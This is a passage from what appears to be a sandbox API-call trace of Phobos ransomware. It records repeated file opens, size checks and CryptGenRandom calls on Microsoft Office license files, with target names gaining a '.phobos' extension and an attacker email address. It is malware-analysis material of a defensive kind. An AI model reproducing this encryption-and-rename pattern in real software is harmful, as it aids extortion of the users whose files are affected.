office\\root\\licenses16\\outlookvl_mak-ul-phn.xrm-ms")) returned 0x220 [0153.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.005] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.005] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.005] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0153.006] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11203) returned 1 [0153.006] CloseHandle (hObject=0x580) returned 1 [0153.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0153.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.006] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0153.007] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=21125) returned 1 [0153.007] CloseHandle (hObject=0x580) returned 1 [0153.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0153.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.007] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0153.007] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11654) returned 1 [0153.007] CloseHandle (hObject=0x580) returned 1 [0153.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0153.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.008] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0153.009] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20941) returned 1 [0153.009] CloseHandle (hObject=0x580) returned 1 [0153.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_grace-ppd.xrm-ms")) returned 0x220 [0153.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_grace-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.009] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.009] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.009] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0153.010] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11624) returned 1 [0153.010] CloseHandle (hObject=0x580) returned 1 [0153.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_grace-ul-oob.xrm-ms")) returned 0x220 [0153.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_grace-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.010] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.010] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.010] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0153.010] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10663) returned 1 [0153.011] CloseHandle (hObject=0x580) returned 1 [0153.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-pl.xrm-ms")) returned 0x220 [0153.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.011] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0153.011] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20946) returned 1 [0153.011] CloseHandle (hObject=0x580) returned 1 [0153.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ppd.xrm-ms")) returned 0x220 [0153.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.012] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.012] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.012] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0153.012] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11617) returned 1 [0153.012] CloseHandle (hObject=0x580) returned 1 [0153.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0153.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.013] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.013] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.013] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0153.013] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19962) returned 1 [0153.013] CloseHandle (hObject=0x580) returned 1 [0153.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0153.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.013] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.014] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0153.014] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20989) returned 1 [0153.014] CloseHandle (hObject=0x580) returned 1 [0153.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_grace-ppd.xrm-ms")) returned 0x220 [0153.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_grace-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.015] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0153.015] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11604) returned 1 [0153.015] CloseHandle (hObject=0x580) returned 1 [0153.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_grace-ul-oob.xrm-ms")) returned 0x220 [0153.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_grace-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.016] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0153.016] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10647) returned 1 [0153.016] CloseHandle (hObject=0x580) returned 1 [0153.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-pl.xrm-ms")) returned 0x220 [0153.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.017] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0153.017] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20994) returned 1 [0153.017] CloseHandle (hObject=0x580) returned 1 [0153.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ppd.xrm-ms")) returned 0x220 [0153.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.017] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0153.018] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11597) returned 1 [0153.018] CloseHandle (hObject=0x580) returned 1 [0153.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0153.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.018] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0153.019] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19942) returned 1 [0153.019] CloseHandle (hObject=0x580) returned 1 [0153.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0153.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 